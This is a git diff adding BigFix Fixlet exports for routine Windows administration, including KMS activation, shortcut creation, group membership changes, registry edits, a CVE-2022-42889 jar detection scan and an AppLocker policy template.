+// Retrieve Public Desktop location
+parameter "DesktopPath"="{value "Common Desktop" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" of native registry}"
+
+// locate PowerShell .exe file
+parameter "PowerShellexe"="{value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry}"
+
+if {(parameter "TargetURL") as lowercase starts with "http"}
+	parameter "Shortcut_ext"=".url"
+elseif {(parameter "TargetURL") as lowercase ends with ".exe"}
+	parameter "Shortcut_ext"=".lnk"
+else
+ continue if {false}
+endif
+// build full path of Shortcut
+parameter "ShortcutFile" = "{(parameter "DesktopPath") & "\" & (parameter "ShortcutName") & (parameter "Shortcut_ext")}"
+// create PowerShell script
+delete __createfile
+createfile until __EOF__
+$Target = "{parameter "TargetURL"}"
+# $ShortcutFile = (Get-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders').'Common Desktop'
+# $ShortcutFile = $ShortcutFile + "{"\" & (parameter "ShortcutName") & ".url" }"
+$ShortcutFile = "{parameter "ShortcutFile"}"
+$WScriptShell = New-Object -ComObject WScript.Shell
+$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile)
+$Shortcut.TargetPath = $Target
+$Shortcut.Save()
+__EOF__
+
+delete "shortcut.ps1"
+copy __createfile "shortcut.ps1"
+
+// just in case, remove the old shortcut should it exists
+delete "{parameter "ShortcutFile"}"
+// execute PS script and check we did it or fail
+waithidden "{parameter "PowerShellexe"}" -ExecutionPolicy Bypass ".\shortcut.ps1"
+continue if {exit code of action = 0 }
+continue if {exists file (parameter "ShortcutFile")}]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS - set server - Windows (22632).bes b/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS - set server - Windows (22632).bes
new file mode 100644
index 000000000..49c9a433d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS - set server - Windows (22632).bes	
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Activate Windows with KMS - set server - Windows
+  ID       : 22632
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-11-17T14:43:39
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Activate Windows with KMS - set server - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>not exists values &quot;KeyManagementServiceName&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of (x32 registries; x64 registries)</Relevance>
+    <Relevance>not exists integer values whose(1=it) of selects &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) AND (Name like &apos;Windows%25&apos;)&quot; of wmis</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-05</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 17 Nov 2016 21:39:55 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+action parameter query "ServerKMS" with description "Enter your MS KMS server FQDN like: kms.domain.com"
+
+// set clock if the time is off (must be less than 4 hours difference)
+if { 2*hour < absolute value of (now - apparent registration server time) }
+    set clock
+endif
+
+if{x64 of operating system}
+	action uses wow64 redirection false
+endif
+
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /skms { parameter "ServerKMS" }
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /ato
+
+// References:
+//		https://bigfix.me/relevance/details/3008577#comments
+//		http://technet.microsoft.com/en-us/library/ff793406.aspx
+//		http://support.microsoft.com/kb/929826
+//		http://technet.microsoft.com/en-us/library/bb491016.aspx
+//      https://bigfix.me/relevance/details/3017259
+//      https://blogs.technet.microsoft.com/craigf/2011/03/03/getting-error-0xc004f074-when-activating-against-kms-server/
+
+]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS over VPN - Windows (22633).bes b/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS over VPN - Windows (22633).bes
new file mode 100644
index 000000000..8e0e45808
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS over VPN - Windows (22633).bes	
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Activate Windows with KMS over VPN - Windows
+  ID       : 22633
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-11-17T14:48:12
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Activate Windows with KMS over VPN - Windows</Title>
+    <Description><![CDATA[<P>This is designed to automatically fix systems that are primarily off network and only connect over VPN occationally, not often enough for the KMS Client to handle it automatically. </P>
+<P>This currently handles 2 different versions of the Cisco VPN client. Others could be added.</P>
+<P>This could also detect when there is an issue much earlier to trigger the KMS checkin. </P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists values &quot;KeyManagementServiceName&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of (x32 registries; x64 registries)</Relevance>
+    <Relevance>not exists integer values whose(1=it) of selects &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) AND (Name like &apos;Windows%25&apos;)&quot; of wmis</Relevance>
+    <Relevance>exists adapters whose(up of it AND exists addresses whose(it as string != &quot;0.0.0.0&quot;) of it AND exists description whose(it contains &quot;Cisco Systems VPN Adapter&quot; OR it contains &quot;Cisco AnyConnect Secure Mobility Client&quot;) of it) of networks</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2016-08-05</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 17 Nov 2016 22:46:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "NumUnlicensedProductsBefore" = "{ number of integer values whose(it != 1) of selects "LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) AND (Name like 'Windows%25')" of wmis }"
+
+// set clock if the time is off (must be less than 4 hours difference)
+if { 2*hour < absolute value of (now - apparent registration server time) }
+    set clock
+endif
+
+if{x64 of operating system}
+	action uses wow64 redirection false
+endif
+
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /ato
+
+parameter "NumUnlicensedProductsAfter" = "{ number of integer values whose(it != 1) of selects "LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) AND (Name like 'Windows%25')" of wmis }"
+
+// References:
+//   - https://bigfix.me/relevance/details/3018819
+//   - https://bigfix.me/relevance/details/3008577#comments
+//   - https://bigfix.me/relevance/details/1429
+//   - https://bigfix.me/fixlet/details/743
+//   - https://bigfix.me/fixlet/details/761
+//   - http://technet.microsoft.com/en-us/library/ff793406.aspx
+//   - http://support.microsoft.com/kb/929826
+//   - http://technet.microsoft.com/en-us/library/bb491016.aspx
+//   - https://bigfix.me/relevance/details/3017259
+//   - https://blogs.technet.microsoft.com/craigf/2011/03/03/getting-error-0xc004f074-when-activating-against-kms-server/
+//   - https://technet.microsoft.com/en-us/library/dn502540%28v=ws.11%29.aspx]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Add AD Domain to DNS Suffix Search List if missing - Windows (26706).bes b/Sites/Windows Management/Fixlets/Fixlets/Add AD Domain to DNS Suffix Search List if missing - Windows (26706).bes
new file mode 100644
index 000000000..c1062433b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Add AD Domain to DNS Suffix Search List if missing - Windows (26706).bes	
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Add AD Domain to DNS Suffix Search List if missing - Windows
+  ID       : 26706
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2020-09-15T02:51:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Add AD Domain to DNS Suffix Search List if missing - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists dns domainnames of local computers of active directories</Relevance>
+    <Relevance>exists (it as trimmed string) whose(it != &quot;&quot;) of substrings separated by &quot;,&quot; of (it as string as lowercase) of values &quot;SearchList&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&quot; of registries</Relevance>
+    <Relevance>not exists (it as trimmed string) whose(it contains unique value of dns domainnames of local computers of active directories) of substrings separated by &quot;,&quot; of (it as string as lowercase) of values &quot;SearchList&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&quot; of registries</Relevance>
+    <Source>https://github.com/jgstew/bigfix-content/blob/master/fixlet/Add%20AD%20Domain%20to%20DNS%20Suffix%20Search%20List%20if%20missing%20-%20Windows.bes</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2020-09-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 15 Sep 2020 14:30:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// TODO: Test
+
+regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]&quot; &quot;SearchList&quot;=&quot;{ concatenations &quot;,&quot; of (it as trimmed string) of ( (unique values of dns domainnames of local computers of active directories) ; it ) of (it as string as trimmed string) of values &quot;SearchList&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&quot; of registries }&quot;
+
+
+// concatenations &quot;,&quot; of ( (unique values of dns domainnames of local computers of active directories) ; it ) of (it as string as trimmed string) of values &quot;SearchList&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&quot; of registries
+
+// Reference:
+//  - https://bigfix.me/relevance/details/3022969
+
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Add Current User to Remote Desktop Users Group (3794).bes b/Sites/Windows Management/Fixlets/Fixlets/Add Current User to Remote Desktop Users Group (3794).bes
new file mode 100644
index 000000000..a4ca7f02c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Add Current User to Remote Desktop Users Group (3794).bes	
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Add Current User to Remote Desktop Users Group
+  ID       : 3794
+  Author   : mpeters4
+  Domain   : BESC
+  Imported : 2014-06-11T08:44:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Add Current User to Remote Desktop Users Group</Title>
+    <Description>Thiis task will add the currently logged in user to the remote desktop users group. </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exist current user and not (exists member whose (it as string as lowercase ends with (name of current user)) of local group &quot;Remote Desktop Users&quot; )</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-06-11</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 11 Jun 2014 15:43:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[parameter "User" = "{(value "LastLoggedOnUser" of (key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" of native registry) as string)}"
+
+createfile until ENDOFSCRIPT
+Dim localGroupName, ADUserName, strComputer, objLocalGroup, objADUser
+strComputer = "."
+
+'''Parse the command line arguments (if it exists)
+If Wscript.Arguments.Count < 2 then
+    Err.Raise 1, "Invalid argument", "Missing parameters"
+Else
+    ADUserName = Wscript.Arguments.Item(0)
+    localGroupName = Wscript.Arguments.Item(1)
+End If
+ADUserName = REPLACE(ADUserName, "\", "/")
+
+Set objLocalGroup = GetObject("WinNT://" & strComputer & "/" & localGroupName & ",group")
+Set objUser = GetObject("WinNT://" & ADUserName & ",user")
+
+objLocalGroup.Add(objUser.ADsPath)
+wscript.echo "Successfully added " & ADUserName & " to " & localGroupName
+ENDOFSCRIPT
+
+delete AddUserToLocalGroup.vbs
+copy __createfile AddUserToLocalGroup.vbs
+
+waithidden cscript.exe AddUserToLocalGroup.vbs "{parameter "User"}" "Remote Desktop Users"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Add User to Local Administrators Group (3624).bes b/Sites/Windows Management/Fixlets/Fixlets/Add User to Local Administrators Group (3624).bes
new file mode 100644
index 000000000..f590bae1a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Add User to Local Administrators Group (3624).bes	
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Add User to Local Administrators Group
+  ID       : 3624
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-10-22T12:51:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Add User to Local Administrators Group</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2012-12-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 29 Dec 2012 00:44:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup administrators moranit.local\Daniel /add</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Allow popups in Interent Explorer for a specific domain - www.domain.tld (715).bes b/Sites/Windows Management/Fixlets/Fixlets/Allow popups in Interent Explorer for a specific domain - www.domain.tld (715).bes
new file mode 100644
index 000000000..ee000a141
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Allow popups in Interent Explorer for a specific domain - www.domain.tld (715).bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Allow popups in Interent Explorer for a specific domain - www.domain.tld
+  ID       : 715
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-05T10:41:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Allow popups in Interent Explorer for a specific domain - www.domain.tld</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists current user AND (1 = number of logged on users)</Relevance>
+    <Relevance><![CDATA[not exists key "Software" whose(exists key "Microsoft\Internet Explorer\New Windows\Allow" of it AND exists value "www.domain.tld" of key "Microsoft\Internet Explorer\New Windows\Allow" of it) of (key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)]]></Relevance>
+    <Category>Registry Edit</Category>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2012-08-23</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 05 Dec 2012 16:43:07 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[regset64 "[{("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Software\Microsoft\Internet Explorer\New Windows\Allow")}]" "www.domain.tld"=hex:00,00]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Apache Commons Text detection scan (Windows).bes b/Sites/Windows Management/Fixlets/Fixlets/Apache Commons Text detection scan (Windows).bes
new file mode 100644
index 000000000..cec702232
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Apache Commons Text detection scan (Windows).bes	
@@ -0,0 +1,95 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Apache Commons Text detection scan (Windows)
+  ID       : 26955
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-10-21T12:02:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Apache Commons Text detection scan (Windows)</Title>
+    <Description><![CDATA[<H3>This is Community Content. When you use these solutions, it is incumbent on your organization to test any solutions provided across the broadest available system base including various OS, storage solutions, and application inventory.</H3>
+<P></P>
+<P>Please see the <A href="https://forum.bigfix.com/t/log4j-vulnerability-identification-and-3rd-party-remediation-solution-testing-statement/40273"><FONT color=#0066cc>Community Solution Testing Statement</FONT></A></P>
+<P>This Task performs a filesystem scan on Windows systems to attempt detecting Apache Commons Text versions vulnerable to CVE-2022-42889.</P>
+<UL>
+<LI><A href="https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om">https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om</A>
+<LI><A href="https://nvd.nist.gov/vuln/detail/CVE-2022-42889">https://nvd.nist.gov/vuln/detail/CVE-2022-42889</A></LI></UL>
+<P>&nbsp;</P>
+<P>This Task performs a filesystem search across all fixed disks on Windows platforms, to locate Apache Commons Text JAR files, either directly on the filesystem or embedded in a .WAR archive file.&nbsp; In the case any .WAR file is found on the system, the 'unzip.exe' utility is used to perform a listing of files inside the archive to locate Apache Commons Text-related .JAR files.&nbsp; Specifically, this Task searches for any versions of commons-text-1.10.0.jar.</P>
+<P>Scan results are stored in a "Scans" subdirectory beneath the "BES Client" folder. 'apache-commons-text.log' contains the full script output for potential debugging or diagnosis, and 'apache-commons-text.txt' contains a listing of detected files in one of the forms</P>
+<UL style="MARGIN-RIGHT: 0px" dir=ltr>
+<LI>C:\temp\commons-text\1.10.0\commons-text-1.10.0-tests.jar
+<LI>C:\temp\commons-text.war||commons-text/1.4/commons-text-1.4.jar</LI></UL>
+<P dir=ltr>The first sample entry indicates a detected jar file directly in the filesystem, while the second entry indicates a detected .jar file embedded within a .WAR archive.</P>
+<P>This Task has several known limitations:</P>
+<UL>
+<LI>Archives are not extracted recursively - only .JAR files contained directly within a .WAR archive are found; archives embedded within multiple layers of .WAR archives are not detected.
+<LI>There is no option to throttle the scan in terms of processor or disk i/o usage.&nbsp; Scans should be executed during non-critical hours, and staggered over time especially where multiple systems share a storage resource, such as a SAN or virtual machine storage pool.</LI></UL>
+<P>This detection method uses Windows batch scripts with no external utility aside from 'unzip.exe'.&nbsp; Results of the scan may be retrieved using the related Analysis.</P>]]></Description>
+    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2022-03-31</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Oct 2022 16:37:21 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[begin prefetch block
+add prefetch item name=unzip.exe sha1=84debf12767785cd9b43811022407de7413beb6f size=204800 url=http://software.bigfix.com/download/redist/unzip-6.0.exe sha256=2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+end prefetch block
+// Add Unzip to Utility Cache:
+utility __Download\unzip.exe
+
+parameter "unzip"="{pathname of file "__Download\unzip.exe"}"
+parameter "ScansFolder" = "{(if (version of client >= "9" as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site "actionsite"))}\Scans"
+folder create "{parameter "ScansFolder"}"
+
+parameter "output"="{pathname of folder (parameter "ScansFolder")}\apache-commons-text.txt"
+parameter "exec_output"="{pathname of folder (parameter "ScansFolder")}\apache-commons-text.log"
+delete "{parameter "output"}"
+delete "{parameter "exec_output"}"
+
+delete __createfile
+createfile until EOF_EOF_EOF_EOF
+set UNZIP="{parameter "unzip"}"
+setlocal EnableDelayedExpansion
+GOTO MAIN
+:PROCESSFILE
+echo Processfile %*
+REM If the file itself matches, output it and exit this function
+if %~x1==.jar echo %~dpnx1 >> "{parameter "output"}"& exit /B 0
+REM the file is a war/jar, expand it to search for embedded files
+REM Use DelayedExpansion and !FILENAME! to prevent 'for' loop crashing on symbols like 'Program Files (x86)'
+set FILENAME=%~dpnx1
+for /F "tokens=*" %%i in ('"%UNZIP% -Z -1C "!FILENAME!" *commons-text-*.jar ^|findstr /R /V /C:"\-javadoc\.jar$" /C:"\-sources\.jar$" /C:"\-tests\.jar$""') do @echo !FILENAME!^|^|%%i >> "{parameter "output"}"
+exit /B 0
+
+:MAIN
+echo ::START::%DATE%::%TIME%>> "{parameter "output"}"
+
+{concatenation "%0d%0a" of ("for /F %22tokens=*%22 %25%25i in ('dir /s /b " & it & "\ ^| findstr /R /C:%22.*\.war$%22 /C:%22.*\.ear$%22 /C:%22commons\-text\-.*\.jar$%22 ^|findstr /R /V /C:%22\-javadoc\.jar$%22 /C:%22\-sources\.jar$%22 /C:%22\-tests\.jar$%22') do CALL :PROCESSFILE %22%25%25~dpnxi%22") of pathnames of root folders of drives whose (type of it = "DRIVE_FIXED")}
+
+endlocal
+echo ::FINISH::%DATE%::%TIME%>> "{parameter "output"}"
+
+EOF_EOF_EOF_EOF
+
+delete run_scan.cmd
+copy __createfile run_scan.cmd
+action uses wow64 redirection {not x64 of operating system}
+waithidden cmd.exe /c "run_scan.cmd > "{parameter "output"}" >"{parameter "exec_output"}" 2>&1"
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Applocker Configuration Template (25578).bes b/Sites/Windows Management/Fixlets/Fixlets/Applocker Configuration Template (25578).bes
new file mode 100644
index 000000000..78dfa2165
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Applocker Configuration Template (25578).bes	
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Applocker Configuration Template
+  ID       : 25578
+  Author   : N0m4d1c
+  Domain   : BESC
+  Imported : 2018-11-09T15:10:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Applocker Configuration Template</Title>
+    <Description><![CDATA[<P>This is a template for implementing AppLocker&nbsp;using Bigfix.</P>
+<P>The script was written for imaging, therefore the relevance is <STRONG>True</STRONG>. We are only working with Appx files in Windows 10, however, the rule collection types should be very similar. In this example, I only want the Administrator account to have access to Settings and block access for all other users. Since Applocker rules go based on User or Group SID, I am using powershell to pull the SID of the Administrator user that is then applied to the windows.immersivecontrolpanel.appx rule. All of the other rulles apply to everyone.</P>
+<P><STRONG>The XML part of the script gets messed up &nbsp;when being displayed on&nbsp;Bigfix.me, therefore I have provided it below. If you download the .bes file it will be correct.</STRONG></P>
+<P>&lt;AppLockerPolicy Version="1"&gt;<BR>&nbsp; &lt;RuleCollection Type="Exe" EnforcementMode="NotConfigured" /&gt;<BR>&nbsp; &lt;RuleCollection Type="Msi" EnforcementMode="NotConfigured" /&gt;<BR>&nbsp; &lt;RuleCollection Type="Script" EnforcementMode="NotConfigured" /&gt;<BR>&nbsp; &lt;RuleCollection Type="Dll" EnforcementMode="NotConfigured" /&gt;<BR>&nbsp; &lt;RuleCollection Type="Appx" EnforcementMode="Enabled"&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;FilePublisherRule Id="f9e7ee63-13da-4646-8f44-f8bed6c4e75e" Name="windows.immersivecontrolpanel, from Microsoft Corporation" Description="" UserOrGroupSid="{{0}" Action="Allow"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;Conditions&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;FilePublisherCondition PublisherName="CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" ProductName="windows.immersivecontrolpanel" BinaryName="*"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;BinaryVersionRange LowSection="*" HighSection="*" /&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/FilePublisherCondition&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/Conditions&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/FilePublisherRule&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;FilePublisherRule Id="6e977e00-e0e1-4b26-a163-9ba2c251e5c5" Name="Microsoft.BioEnrollment, from Microsoft Corporation" Description="" UserOrGroupSid="S-1-1-0" Action="Deny"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;Conditions&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;FilePublisherCondition PublisherName="CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" ProductName="Microsoft.BioEnrollment" BinaryName="*"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;BinaryVersionRange LowSection="*" HighSection="*" /&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/FilePublisherCondition&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/Conditions&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/FilePublisherRule&gt;<BR>&nbsp; &lt;/RuleCollection&gt;<BR>&lt;/AppLockerPolicy&gt;</P>
+<P>&nbsp;</P>]]></Description>
